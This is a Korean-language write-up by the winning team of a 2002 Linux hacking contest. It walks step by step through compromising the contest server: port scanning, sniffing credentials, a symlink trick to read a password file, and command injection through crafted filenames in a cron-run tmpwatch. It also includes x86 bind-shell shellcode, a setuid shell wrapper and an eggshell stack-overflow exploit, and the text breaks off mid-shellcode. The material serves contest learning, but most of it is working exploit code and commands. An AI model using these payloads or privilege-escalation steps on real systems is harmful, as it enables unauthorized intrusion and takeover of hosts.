::: 다음은 이번 제 1회 Hacking The Linux Contest에서 1위를 차지한 nwsr 팀의 공격 보고서입니다. :::

 

1. WarGame을 하기위한 환경구축.

 

(1). 네트웍 모니터링을 할수있어야 한다.

(2). 외부의 도스공격으로부터 자신을 방어할수 있어야 하겠죠..

 

2. 문제에 도전.

 

-대회가 시작되었습니다.!

 

 

대회 서버 IP ADDRESS : 211.215.55.247

 

* 취약점 힌트는 대회 진행 도중 업데이트 됩니다.

 

* 서버 내의 특정 권한을 얻은 자는 /bin/register 명령을 실행 시켜 고유 번호를 등록하여야 인정을 받을 수

  있습니다.

 

 

 

대회가 시작되면서 주어진것은

 

<대회 서버 IP ADDRESS : 211.215.55.247>

 

딱 1가지 입니다.

이것을 본 참가자는 아마 이랬을 것입니다. -- 뭘 우짜라꼬...

첫번째 문제는 리모트 문제입니다.

 

 

- 대회 도중에 공개된 리모트 취약점에 대한 힌트들.

 

* 이번 대회에는 총 5개의 리모트 취약점이 준비되어 있습니다.

그 중 3개는 웹 상에서 이루어 지는 것이며, 한 개는 텔넷, 나머지 한 개는

특정 포트를 통하여 문제를 해결할 수 있습니다.

 

* 5개의 취약점 중 하나만 성공해도 로컬 접속 권한을 얻을 수 있습니다.

 

 

* "첫 번재 리모트 어택 문제" 관련 힌트입니다. [ 클릭 ]

 

구타는 211.215.55.247 서버에 자신의 개인 홈페이지를

운영하고 있었다. 그러던 어느날 구타는 자신의 홈페이지에도 메인

페이지에서 게시판의 글들을 미리볼 수 있는 기능을 넣고 싶어졌다.

여기 저기에서 php와 mysql에 대한 정보를 익혀 결국 미리보기 기능을

넣는 것에 성공한 구타는 흡족한 미소를 지었다.

하지만 그 미리보기 기능을 넣는 과정 도중 서버에 Remote Hole이

생겼다는 것을 구타는 알까? 힌트는 구타가 평소에 나모 웹에디터를

통하여 홈페이지를 수정한다는 점과 WS_FTP 프로그램을 이용하여 파일을

업로드 한다는 점이다.

 

* "두 번째 리모트 어택 문제" 관련 힌트입니다. - "8888번 포트에 비밀이 숨어있다!"  

* "세 번째 리모트 어택 문제" 관련 힌트입니다. - [ httpd.conf ] --> 첨부 파일 참고.  

* "네 번째 리모트 어택 문제" 관련 힌트입니다. - 음악 추천 폼에 긴 문자열을 입력해 보세요.  

* "다섯 번째 리모트 어택 문제" 관련 힌트입니다. - chat 계정 접속 후 역시 긴 문자열을 닉네임으로..

 

 

 

자.. 차근차근 시작해 볼까요..

힌트가 주어지기 전에 진행.

먼저 주어진 서버의 취약점을 파악하기 위하여 열린 포트를 확인 합니다.

 

 

[root@localhost root]# nmap -v -sS -O 211.215.55.247

 

Starting nmap V. 3.00 ( www.insecure.org/nmap/ )

Host (211.215.55.247) appears to be up ... good.

Initiating SYN Stealth Scan against (211.215.55.247)

Adding open port 80/tcp

Adding open port 1440/tcp

Adding open port 3306/tcp

Adding open port 111/tcp

Adding open port 23/tcp

Adding open port 8888/tcp

The SYN Stealth Scan took 4 seconds to scan 1601 ports.

For OSScan assuming that port 23 is open and port 1 is closed and neither

are firewalled

Interesting ports on (211.215.55.247):

(The 1595 ports scanned but not shown below are in state: closed)

Port State Service

23/tcp open telnet

80/tcp open http

111/tcp open sunrpc

1440/tcp open eicon-slp

3306/tcp open mysql

8888/tcp open sun-answerbook

Remote operating system guess: Linux Kernel 2.4.0 - 2.5.20

Uptime 0.097 days (since Sun Aug 18 12:45:25 2002)

TCP Sequence Prediction: Class=random positive increments

Difficulty=3694222 (Good luck!)

IPID Sequence Generation: All zeros

 

Nmap run completed -- 1 IP address (1 host up) scanned in 10 seconds

 

 

 

이렇게 포트가 열린것을 확인했습니다.

다음은 해당 포트가 어떻게 응답을 하는지 확인을 합니다.

이때 네트웍으로 왔다갔다하는 패킷을 볼수 있도록 프로그램을 실행해 둡니다.

 

[root@localhost root]# tcpdump -i ppp0 -X -s 0

tcpdump: listening on ppp0

 

* "두 번째 리모트 어택 문제" 관련 힌트입니다. - "8888번 포트에 비밀이 숨어있다!"

 

두번째 리모트 어택 문제에 도전을 해 보겠습니다.

 

http://211.215.55.247:8888

ID : guest, PW : welcome..........................접속 완료!! 숨겨진 문자열을 찾아라!!

 

바로 나와버리네...

다른방법을 보겠습니다.

 

[test@localhost test]$ nc 211.215.55.247 8888

접속 완료!! 숨겨진 문자열을 찾아라!!

[test@localhost test]$

 

이때 tcpdump 된 내용을 보면...

 

 

[root@localhost root]# tcpdump -i ppp0 -X -s 0

tcpdump: listening on ppp0

14:28:28.901243 210.102.156.204.38525 > 211.215.55.247.8888: S

2601461655:2601461655(0) win 5808 <mss 1452,sackOK,timestamp 258286103

0,nop,wscale 0> (DF)

0x0000 4500 003c 0580 4000 4006 ba3a d266 9ccc E..<..@.@..:.f..

0x0010 d3d7 37f7 967d 22b8 9b0f 2797 0000 0000 ..7..}"...'.....

0x0020 a002 16b0 0905 0000 0204 05ac 0402 080a ................

0x0030 0f65 2217 0000 0000 0103 0300 .e".........

14:28:28.929386 211.215.55.247.8888 > 210.102.156.204.38525: S

2894122521:2894122521(0) ack 2601461656 win 5792 <mss 1412,sackOK,timestamp

618371 258286103,nop,wscale 0> (DF)

0x0000 4500 003c 0000 4000 3606 c9ba d3d7 37f7 E..<..@.6.....7.

0x0010 d266 9ccc 22b8 967d ac80 ce19 9b0f 2798 .f.."..}......'.

0x0020 a012 16a0 1f05 0000 0204 0584 0402 080a ................

0x0030 0009 6f83 0f65 2217 0103 0300 ..o..e".....

14:28:28.929406 210.102.156.204.38525 > 211.215.55.247.8888: . ack 1 win

5808 <nop,nop,timestamp 258286105 618371> (DF)

0x0000 4500 0034 0581 4000 4006 ba41 d266 9ccc E..4..@.@..A.f..

0x0010 d3d7 37f7 967d 22b8 9b0f 2798 ac80 ce1a ..7..}"...'.....

0x0020 8010 16b0 4d88 0000 0101 080a 0f65 2219 ....M........e".

0x0030 0009 6f83 ..o.

14:28:28.957471 211.215.55.247.8888 > 210.102.156.204.38525: P 1:88(87) ack

1 win 5792 <nop,nop,timestamp 618373 258286105> (DF)

0x0000 4500 008b a19f 4000 3606 27cc d3d7 37f7 E.....@.6.'...7.

0x0010 d266 9ccc 22b8 967d ac80 ce1a 9b0f 2798 .f.."..}......'.

0x0020 8018 16a0 660a 0000 0101 080a 0009 6f85 ....f.........o.

0x0030 0f65 2219 4944 203a 2067 7565 7374 2c20 .e".ID.:.guest,.

0x0040 5057 203a 2077 656c 636f 6d65 0808 0808 PW.:.welcome....

0x0050 0808 0808 0808 0808 0808 0808 0808 0808 ................

0x0060 0808 0808 0808 c1a2 bcd3 20bf cfb7 e121 ...............!

0x0070 2120 bcfb b0dc c1f8 20b9 aec0 dabf adc0 !...............

0x0080 bb20 c3a3 bec6 b6f3 2121 0a ........!!.

14:28:28.957482 210.102.156.204.38525 > 211.215.55.247.8888: . ack 88 win

5808 <nop,nop,timestamp 258286108 618373> (DF)

0x0000 4500 0034 0582 4000 4006 ba40 d266 9ccc E..4..@.@..@.f..

0x0010 d3d7 37f7 967d 22b8 9b0f 2798 ac80 ce71 ..7..}"...'....q

0x0020 8010 16b0 4d2c 0000 0101 080a 0f65 221c ....M,.......e".

0x0030 0009 6f85 ..o.

14:28:28.957708 211.215.55.247.8888 > 210.102.156.204.38525: F 88:88(0) ack

1 win 5792 <nop,nop,timestamp 618373 258286105> (DF)

0x0000 4500 0034 a1a0 4000 3606 2822 d3d7 37f7 E..4..@.6.("..7.

0x0010 d266 9ccc 22b8 967d ac80 ce71 9b0f 2798 .f.."..}...q..'.

0x0020 8011 16a0 4d3e 0000 0101 080a 0009 6f85 ....M>........o.

0x0030 0f65 2219 .e".

14:28:28.957837 210.102.156.204.38525 > 211.215.55.247.8888: F 1:1(0) ack 89

win 5808 <nop,nop,timestamp 258286108 618373> (DF)

0x0000 4500 0034 0583 4000 4006 ba3f d266 9ccc E..4..@.@..?.f..

0x0010 d3d7 37f7 967d 22b8 9b0f 2798 ac80 ce72 ..7..}"...'....r

0x0020 8011 16b0 4d2a 0000 0101 080a 0f65 221c ....M*.......e".

0x0030 0009 6f85 ..o.

 

 

 

id : guest, pw : welcome 입니다.

드디어 서버로 접속을 할수 있는 계정이 나왔네요.

 

 

- 대회 도중 공개된 로컬 취약점에 대한 힌트들.

 

* walwal 권한은 기술이 아닌 머리를 써서 획득할 수 있습니다.^^ gdb 필요 없어요~

* walwal 권한 획득의 힌트 - Group id가 walwal인 파일을 찾아보세요.!

 

 

 

 

telnet 211.215.55.247

┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓

┃ +                                                        + ┃

┃ !!!!! HackerSchool Hacking Event !!!!!                     ┃

┃ +                                                        + ┃

┃ "Hacking The Linux Server Festival"                        ┃

┃                                                                                          ┃

┃ [ 타겟 서버에 접속하셨습니다. 좋은 결과 있길 바랍니다.^^ ] ┃

┃ :: 아직 등록 신청을 하지 않으신 분은 해커스쿨 ::                ┃

┃ :: 사이트를 통해 등록 하시면 됩니다.(공지 참조) ::       + ┃

┃+                                                         + ┃

┃ BBS 접속 ID : bbs <Enter>                                  ┃

┃ + 테스트 대화방 접속 : chat <Enter>                        ┃

┃                                                          + ┃

┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛

login: guest

Password:

 

 

 

드디어 섭으로 들어 왔습니다.

뭘해야 할것인가를 또 찾아야죠..

 

자신의 디렉에 뭔가의 힌트가 있는지 확인을 합니다.

 

bash2-2.05a$ ls -al

 

음... 아무것도 없군요...

다음은 자신의 id를 확인하고 다음 레벨로 진입할 계정을 확인합니다.

 

 

bash2-2.05a$ id

uid=1009(guest) gid=1009(guest) groups=1009(guest)

 

bash2-2.05a$ cat /etc/passwd

 

############################################################

# Hacking Festival Accounts #

############################################################

walwal:x:1000:1000::/home/walwal:/bin/bash

guta:x:1001:1001::/home/guta:/bin/bash

mungmung:x:1002:1002::/home/mungmung:/bin/bash

wizard:x:1003:1003::/home/wizard:/bin/bash

crypt:x:1004:1004::/home/crypt:/bin/bash

chat:x:1006:1006::/home/chat:/home/chat/curchat

guest:x:1009:1009::/home/guest:/bin/bash2

 

walwal 계정의 화일을 찾아보겠습니다.

 

bash2-2.05a$ find / -user walwal 2>/dev/null

 

/var/spool/mail/walwal

/etc/sysconfig/network-scripts/.hidden/GUTAPASSWD.TXT

/bin/SolveMe/HackTheNose.txt

/bin/SolveMe/walwal

/home/walwal

 

 

 

이런 파일이 나왔군요.

 

 

bash2-2.05a$ ls /bin/SolveMe/walwal -l

-rwsr-sr-x 1 walwal walwal 14122 Aug 16 08:38 /bin/SolveMe/walwal*

bash2-2.05a$ ls /bin/SolveMe/ -la

total 28

drwxr-xr-x 2 root root 4096 Aug 16 08:42 ./

drwxr-xr-x 3 root root 4096 Aug 16 21:31 ../

-rw-r----- 1 root walwal 143 Aug 16 08:38 HackTheNose.txt

-rwsr-sr-x 1 walwal walwal 14122 Aug 16 08:38 walwal*

 

 

 

분석을 해보겠습니다.

 

 

bash2-2.05a$ objdump -s /bin/SolveMe/walwal

 

Contents of section .fini:

8048600 5589e553 52e80000 00005b81 c3221100 U..SR.....[.."..

8048610 008d7600 e857feff ff8b5dfc c9c3 ..v..W....]...

Contents of section .rodata:

8048620 03000000 01000200 72002e2f 4861636b ........r../Hack

8048630 5468654e 6f73652e 74787400 257300 TheNose.txt.%s.

Contents of section .data:

8049640 00000000 00000000 28970408 00000000 ........(.......

 

bash2-2.05a$ objdump -x /bin/SolveMe/walwal

 

08048364 g F .init 00000000 _init

0804839c F *UND* 00000270 malloc@@GLIBC_2.0

080483ac w F *UND* 00000025

__deregister_frame_info@@GLIBC_2.0

08048420 g F .text 00000000 _start

080483bc F *UND* 00000140 fgets@@GLIBC_2.0

08049760 g O *ABS* 00000000 __bss_start

08048520 g F .text 000000a0 main

080483cc F *UND* 000000d3 __libc_start_main@@GLIBC_2.0

08049640 w .data 00000000 data_start

080483dc F *UND* 00000032 printf@@GLIBC_2.0

08048600 g F .fini 00000000 _fini

080483ec F *UND* 00000189 fclose@@GLIBC_2.1

08049760 g O *ABS* 00000000 _edata

0804972c g O .got 00000000 _GLOBAL_OFFSET_TABLE_

08049778 g O *ABS* 00000000 _end

080483fc F *UND* 000000a0 fopen@@GLIBC_2.1

08048624 g O .rodata 00000004 _IO_stdin_used

0804840c F *UND* 0000002d sprintf@@GLIBC_2.0

08049640 g .data 00000000 __data_start

00000000 w *UND* 00000000 __gmon_start__

 

bash2-2.05a$ gdb /bin/SolveMe/walwal

(gdb) disas main

Dump of assembler code for function main:

 

int main(int char, char *argv[])

{

0x8048520 <main>: push %ebp

0x8048521 <main+1>: mov %esp,%ebp

0x8048523 <main+3>: sub $0x18,%esp

fff8 = malloc(100);

0x8048526 <main+6>: sub $0xc,%esp

0x8048529 <main+9>: push $0x64

0x804852b <main+11>: call 0x804839c <malloc>

0x8048530 <main+16>: add $0x10,%esp

0x8048533 <main+19>: mov %eax,%eax

0x8048535 <main+21>: mov %eax,0xfffffff8(%ebp)

fff4 = malloc(0x7a69);

0x8048538 <main+24>: sub $0xc,%esp

0x804853b <main+27>: push $0x7a69

0x8048540 <main+32>: call 0x804839c <malloc>

0x8048545 <main+37>: add $0x10,%esp

0x8048548 <main+40>: mov %eax,%eax

0x804854a <main+42>: mov %eax,0xfffffff4(%ebp)

fffc = fopen("./HackTheNose.txt", "r");

0x804854d <main+45>: sub $0x8,%esp

0x8048550 <main+48>: push $0x8048628

0x8048555 <main+53>: push $0x804862a

0x804855a <main+58>: call 0x80483fc <fopen>

0x804855f <main+63>: add $0x10,%esp

0x8048562 <main+66>: mov %eax,%eax

0x8048564 <main+68>: mov %eax,0xfffffffc(%ebp)

0x8048567 <main+71>: nop

if (fgets(fff8, 100, fffc)!=0) {

0x8048568 <main+72>: sub $0x4,%esp

0x804856b <main+75>: pushl 0xfffffffc(%ebp)

0x804856e <main+78>: push $0x64

0x8048570 <main+80>: pushl 0xfffffff8(%ebp)

0x8048573 <main+83>: call 0x80483bc <fgets>

0x8048578 <main+88>: add $0x10,%esp

 

0x804857b <main+91>: mov %eax,%eax

0x804857d <main+93>: test %eax,%eax

0x804857f <main+95>: jne 0x8048584 <main+100>

0x8048581 <main+97>: jmp 0x80485b0 <main+144>

0x8048583 <main+99>: nop

sprintf(fff4, "%s", fff8);

0x8048584 <main+100>: sub $0x4,%esp

0x8048587 <main+103>: pushl 0xfffffff8(%ebp)

0x804858a <main+106>: push $0x804863c

0x804858f <main+111>: pushl 0xfffffff4(%ebp)

0x8048592 <main+114>: call 0x804840c <sprintf>

0x8048597 <main+119>: add $0x10,%esp

printf("%s", fff8);

0x804859a <main+122>: sub $0x8,%esp

0x804859d <main+125>: pushl 0xfffffff8(%ebp)

0x80485a0 <main+128>: push $0x804863c

0x80485a5 <main+133>: call 0x80483dc <printf>

0x80485aa <main+138>: add $0x10,%esp

0x80485ad <main+141>: jmp 0x8048568 <main+72>

0x80485af <main+143>: nop

}

fclose(fffc);

0x80485b0 <main+144>: sub $0xc,%esp

0x80485b3 <main+147>: pushl 0xfffffffc(%ebp)

0x80485b6 <main+150>: call 0x80483ec <fclose>

0x80485bb <main+155>: add $0x10,%esp

}

0x80485be <main+158>: leave

0x80485bf <main+159>: ret

 

 

 

이렇게 분석을 해보면

fffc = fopen("./HackTheNose.txt", "r"); 이런 코드가 나온다.

 

따라서 현재 디렉에 "HackTheNose.txt" 이 파일을 읽어서 출력해준다는 것을 알수 있다.

 

그러므로

 

 

bash2-2.05a$ ln -s /bin/SolveMe/HackTheNose.txt HackTheNose.txt 로하고

bash2-2.05a$ /bin/SolveMe/walwal ./HackTheNose.txt

구타 : 아씨~ 이게 뭐야 어떻게 하라는거야!

멍멍 : 생각보다 쉬울껄?

구타 : 뭐야뭐야 이거 힙오버플로우야? 나 그거 못해!

멍멍 : 머리 뒀다 뭐하니~

 

 

 

그런데 그 화일에는 내가원하는 내용이 없다 그렇다면

 

 

bash2-2.05a$ find / -group walwal

/etc/sysconfig/network-scripts/.hidden/WALWALPASSWD.TXT

 

 

이곳에 있을 거라 추측하고 이파일에 링크걸었다

 

bash2-2.05a$ ln -s /etc/sysconfig/network-scripts/.hidden/WALWALPASSWD.TXT HackTheNose.txt

그리고는

bash2-2.05a$ /bin/SolveMe/walwal ./HackTheNose.txt

마징가

 

빙고~~~ 답이 나왔다.

 

[guta@localhost guta]$ id

uid=1000(walwal) gid=1000(walwal) groups=1000(walwal)

[guta@localhost guta]$

 

walwal 권한을 획득!!

 

 

- 대회 도중 공개된 guta 권한 획득 힌트들.

 

* guta 권한 획득 관련 힌트입니다. [ 클릭 ]

* guta 권한 획득 관련 힌트2 - 시간을 cron에 맞추지 마시고, 파일에 맞춰보세요.

  그럼 1시간 기다릴 필요가 없겠죠..?

* guta 권한 획득 관련 힌트3 - 현재 설치된 tmpwatch의 소스 코드입니다. [ 클릭 ]

* guta 권한 획득 관련 힌트4 - system() 함수의 사용은 매우 위험합니다.  

  위 소스 코드에서 system() 함수가 사용된 부분을 잘 보세요..

 

 

 

 

[walwal@localhost walwal]$ ls -al

total 28

 

-rw-r--r-- 1 root root 77 Aug 17 15:56 hint

drwx-wxrwx 11 root walwal 4096 Aug 18 17:29 movie/

 

[walwal@localhost walwal]$ cat hint

힌트는 웹에 공개되어 있습니다.^^

http://www.hackerschool.org/event/hint.html

 

 

 

오잉... 웹에...

 

 

[힌트]

* guta 권한 획득 관련 힌트입니다. [ 클릭 ]

 

어느날 구타는 자꾸 계정을 만들어 달라고 조르는 왈왈이에게

walwal이라는 계정을 만들어 주었다. 그런데 몇일이 지난 후

구타는 서버의 하드 용량이 꽉 차 있는 것을 발견하였다.

서버를 조사해 본 구타는 이놈의 왈왈이가 /home/walwal/movie/

디렉토리에 요샹한 동영상들을 왕창 올려 놓은 사실을

알게되었다. 구타는 즉시 모든 파일들을 삭제 했지만, 발정난

왈왈이는 어느새 또 다시 동영상들을 모아 올려놓곤 하였다.

 

몇번의 반복 끝에 짜증이 난 구타는 tmpwatch라는 프로그램을

이용하면 특정 디렉토리의 파일을 자동으로 정리할 수 있다는

정보를 입수. 검색 엔진을 통해 tmpwatch 프로그램을 받아 설치하였다.

그리고 tmpwatch가 자동으로 작동하게 하기 위하여 crontab에

다음과 같이 등록을 하였다.

 

PATH=/usr/bin:/bin:/tmp

* * * * * /usr/sbin/tmpwatch -m --fuser -f 1 /home/walwal/movie/

 

이제 왈왈이와의 신경전에서의 승리를 확실한 구타는 tmpwatch는

참 고마운 프로그램이다 라고 생각하며 편하게 잠이 들었다.

 

 

 

이문제는 tmpwatch 문제이다.

tmpwatch 취약점은 다음 첨부 파일을 참고하세요.

여기서 crontab에 등록된 tmpwatch는 어떤 역할을 하는지 살펴보겠습니다.

 

 

[walwal@localhost walwal]$ cd movie

[walwal@localhost walwal]$ cat > f1 <-- 테스트 할 파일을 하나 만들고.

[walwal@localhost movie]$ date

Sat Aug 17 23:32:43 EDT 2002

[walwal@localhost movie]$ touch 08172235 "\";cp f1 f2\""

 

 

 

이렇게 해놓고 movie 디렉을 한번 보자.

그런데 처음에는 디렉을 볼수 있었는데 관리자가 막아버렸다.

 

drwx-wxrwx 11 root walwal 4096 Aug 18 17:29 movie/

 

여기서 권한을 보면 groop(walwal)만 볼수 없도록 설정된것을 알수있다.

그래서 이전의 계정(guest)으로 들어가면 볼수 있다.

 

 

[walwal@localhost movie]$ su guest

Password:

[guest@localhost movie]$ ls -al

total 64

 

-rw-rw-r-- 1 walwal walwal 0 Aug 18 16:40 ";cp f1 f2"

-rw-rw-r-- 1 walwal walwal 5 Aug 18 17:38 f1

-rw-r--r-- 1 guta guta 5 Aug 18 17:40 f2

 

 

 

이렇게 실행된것을 확인할수 있다.

그렇다면...

 

 

PATH=/usr/bin:/bin:/tmp

* * * * * /usr/sbin/tmpwatch -m --fuser -f 1 /home/walwal/movie/

 

 

 

crontab에 설정된 PATH를 보면 /tmp 디렉을 사용하도록 설정이 되어 있다.

그런데 /tmp의 퍼밋션이 아래와 같이 되어 있다.

 

drwxrwx-wt 128 root root 8192 Aug 18 17:41 tmp

 

따라서 프로그램을 실행할수 있는 방법이 여러가지가 있지만

다음의 바인드쉘을 띄워보겠습니다.

 

 

 

char shellcode[] = /* Taeho Oh bindshell code at port 30464 */

"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0\x31"

"\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06\x89\x46"

"\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0"

"\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31\xc0\x89\x46\x10"

"\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80\xeb\x04\xeb\x55\xeb"

"\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x89\x46"

"\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd\x80\x88\xc3\xb0\x3f\x31\xc9"

"\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f"

"\x62\x69\x6e\x89\x06\xb8\x2f\x73\x68\x2f\x89\x46\x04\x31\xc0\x88"

"\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"

"\x56\x0c\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff"

"\xff";

 

main()

{

__asm__(" movl $shellcode,4(%ebp)");

}

 

 

이것을 컴파일 하여 hwa라는 실행파일을 만들어 놓습니다.

 

 

 

[walwal@localhost NWSR]$ ls -al

total 24

drwxrwxr-x 2 walwal walwal 4096 Aug 17 23:30 ./

drwxrwx-wt 52 root root 4096 Aug 17 23:31 ../

-rwxrwxr-x 1 walwal walwal 13614 Aug 17 23:30 hwa*

 

[walwal@localhost NWSR]$ cd ..

[walwal@localhost tmp]$ ln -s /tmp/NWSR/hwa hwa -f

[walwal@localhost tmp]$ cd ~

[walwal@localhost walwal]$ cd movie

[walwal@localhost movie]$ date

Sat Aug 17 23:32:43 EDT 2002

[walwal@localhost movie]$ touch 08172235 "\";hwa\"" <-- 약 1시간 이전의 파일로 만들어 놓는다.

 

 

 

리모터에서 바인드쉘이 동작을 했는가 확인한다.

 

 

 

[root@localhost root]# nc 211.215.55.247 30464

id

uid=1001(guta) gid=1001(guta) groups=1001(guta) <-- 바인드쉘로 guta의 권한을 얻었다.

ls -al

total 64

-rw-rw-r-- 1 walwal walwal 0 Aug 17 2002 ";chmod 644 asd"

-rw-rw-r-- 1 walwal walwal 0 Aug 17 16:40 ";cp f1 f2"

-rw-rw-r-- 1 walwal walwal 0 Aug 17 16:58 ";hwa"

-rw-rw-r-- 1 walwal walwal 5 Aug 17 17:38 f1

-rw-r--r-- 1 guta guta 5 Aug 17 17:58 f2

 

 

로컬로 돌아와서..

 

 

[walwal@localhost movie]$ cat > gta.c

 

#include <stdio.h>

#include <unistd.h>

#include <sys/types.h>

 

main()

{

setreuid(1001,1001);

setregid(1001,1001);

system("/bin/sh");

}

 

 

리모터로 작업을 하기가 불편하기 때문에 Local의 권한을 획득하기 위하여

간단한 쉘을 만든다.

 

이것을 리모터에서 컴파일 한다.

 

 

 

cd /tmp/NWSR

gcc gta.c -o gta

ls -al

total 48

drwxrwxrwx 2 guest guest 4096 Aug 18 00:36 .

drwxrwx-wt 138 root root 8192 Aug 18 00:29 ..

-rwxrwxr-x 1 walwal walwal 13648 Aug 18 00:17 hwa

-rwxr-xr-x 1 guta guta 13738 Aug 18 00:36 gta

-rw-rw-r-- 1 walwal walwal 142 Aug 18 00:34 gta.c

chmod 6755 gta

ls

total 48

drwxrwxrwx 2 guest guest 4096 Aug 18 00:36 .

drwxrwx-wt 138 root root 8192 Aug 18 00:29 ..

-rwxrwxr-x 1 walwal walwal 13648 Aug 18 00:17 hwa

-rwsr-sr-x 1 guta guta 13738 Aug 18 00:36 gta

-rw-rw-r-- 1 walwal walwal 142 Aug 18 00:34 gta.c

 

cd SolveMe

ls -al

total 28

drwxr-x--- 2 root guta 4096 Aug 16 19:26 .

drwxr-x--- 3 root guta 4096 Aug 16 19:26 ..

-r-s--sr-x 1 mungmung mungmung 18124 Aug 16 18:37 student

 

 

 

다시 Local로 돌아와서...

 

 

[walwal@localhost NWSR]$ ls -al

total 48

drwxrwxrwx 2 guest guest 4096 Aug 18 00:36 ./

drwxrwx-wt 138 root root 8192 Aug 18 00:29 ../

-rwxrwxr-x 1 walwal walwal 13648 Aug 18 00:17 hwa*

-rwsr-sr-x 1 guta guta 13738 Aug 18 00:36 gta*

-rw-rw-r-- 1 walwal walwal 142 Aug 18 00:34 gta.c

 

[walwal@localhost NWSR]$ ./gta

sh-2.05a$ id

uid=1001(guta) gid=1001(guta) groups=1000(walwal)

 

 

 

드디어 Local에서 guta의 권한을 획득했다.

 

 

- 대회 도중 공개된 mungmung 권한 획득 힌트.

 

* mungmung 권한 획득 관련 힌트입니다. [ student.c ]

 

 

 

 

sh-2.05a$ cd /home/guta

sh-2.05a$ ls -al

total 24

 

drwxr-x--- 2 root guta 4096 Aug 16 19:26 SolveMe

 

sh-2.05a$ cd SolveMe

sh-2.05a$ ls -al

total 28

 

-r-s--sr-x 1 mungmung mungmung 18124 Aug 16 18:37 student

 

sh-2.05a$ objdump -x student

 

08048dac g F .text 000000b3 search_list

08048418 F *UND* 0000030a system@@GLIBC_2.0

08048eec g F .text 00000069 clean_list

080483c0 g F .init 00000000 _init

08048428 F *UND* 00000270 malloc@@GLIBC_2.0

08048438 F *UND* 00000034 scanf@@GLIBC_2.0

08048448 w F *UND* 00000025

__deregister_frame_info@@GLIBC_2.0

0804a5e4 g O .bss 00000004 tail

0804a5e8 g O .bss 00000004 head

08048d10 g F .text 00000063 create_list

080484b0 g F .text 00000000 _start

08048458 F *UND* 000000af strlen@@GLIBC_2.0

0804a5cc g O *ABS* 00000000 __bss_start

080485b0 g F .text 0000075e main

08048468 F *UND* 000000d3 __libc_start_main@@GLIBC_2.0

0804a4a0 w .data 00000000 data_start

08048478 F *UND* 00000032 printf@@GLIBC_2.0

08048fa0 g F .fini 00000000 _fini

08048488 F *UND* 00000027 memcpy@@GLIBC_2.0

0804a5cc g O *ABS* 00000000 _edata

08048d74 g F .text 00000038 insert_list

0804a58c g O .got 00000000 _GLOBAL_OFFSET_TABLE_

08048498 F *UND* 000000f4 free@@GLIBC_2.0

0804a5ec g O *ABS* 00000000 _end

08048fc4 g O .rodata 00000004 _IO_stdin_used

0804a4a0 g .data 00000000 __data_start

00000000 w *UND* 00000000 __gmon_start__

 

sh-2.05a$ objdump -s student

 

Contents of section .fini:

8048fa0 5589e553 52e80000 00005b81 c3e21500 U..SR.....[.....

8048fb0 008d7600 e847f5ff ff8b5dfc c9c3 ..v..G....]...

Contents of section .rodata:

8048fc0 03000000 01000200 00000000 00000000 ................

8048fd0 00000000 00000000 00000000 00000000 ................

8048fe0 2f757372 2f62696e 2f636c65 61720000 /usr/bin/clear..

8048ff0 00000000 00000000 00000000 00000000 ................

8049000 0a2d20bc bac0fbc7 a5202d2d 2d2d2d2d .- ...... ------

 

8049110 b4cfb1ee 3f0a3e20 00257300 00000000 ....?.> .%s.....

8049120 b0e6b0ed 21205374 61636b20 6f766572 ....! Stack over

8049130 666c6f77 20b0a120 bdc3b5b5 b5c7befa flow .. ........

 

8049460 c7d220c7 d0bbfdc0 c720b9f8 c8a3b4c2 .. ...... ......

8049470 20b9abbe f9c0d4b4 cfb1ee3f 0a3e2000 ..........?.> .

8049480 0a0a000a 00000000 cdcca841 00000000 ...........A....

8049490 00000000 00000000 00000000 00000000 ................

 

 

 

바로 삽질 시작...

 

 

 

sh-2.05a$ ln -s /home/guta/SolveMe/student student

sh-2.05a$ ./student

 

- 성적표 --------------------

현재 0 명의 학생 정보가 있습니다.

 

1. 학생 성적 입력하기

2. 이름으로 학생 찾아보기

3. 번호로 학생 찾아보기

4. 모든 학생의 정보 보기

5. 끝내기

선택하세요> 5

 

프로그램을 종료합니다.

 

sh-2.05a$ (perl -e 'print "1\n","i"x256')|./student

 

- 성적표 --------------------

현재 0 명의 학생 정보가 있습니다.

 

1. 학생 성적 입력하기

2. 이름으로 학생 찾아보기

3. 번호로 학생 찾아보기

4. 모든 학생의 정보 보기

5. 끝내기

선택하세요>

 

새로운 학생을 등록합니다.

학생의 이름은 무엇입니까?

>경고! Stack overflow 가 시도되었습니다.

보안상의 문제로 종료합니다.

Segmentation fault

sh-2.05a$

 

 

 

에그쉘 작성.

 

 

sh-2.05a$ cat > egg.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

 

#define DEFAULT_EGG_SIZE 1024

#define NOP 0x90

 

char shellcode[]=

"\x31\xc0" /* xor %eax,%eax */

"\xb0\xea" /* mov $0xea,%al */

"\xb4\x03" /* mov $0x3,%ah */

"\x89\xc3" /* mov %eax,%ebx */

"\x89\xd9" /* mov %ebx,%ecx */

"\x31\xc0" /* xor %eax,%eax */

"\xb0\x46" /* mov $0x46,%al */

"\xcd\x80" /* int $0x80 */

 

"\x31\xc0" /* xor %eax,%eax */

"\xb0\xea" /* mov $0xea,%al */

"\xb4\x03" /* mov $0x3,%ah */

"\x89\xc3" /* mov %eax,%ebx */

"\x89\xd9" /* mov %ebx,%ecx */

"\x31\xc0" /* xor %eax,%eax */

"\xb0\x47" /* mov $0x47,%al */

"\xcd\x80" /* int $0x80 */

 

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

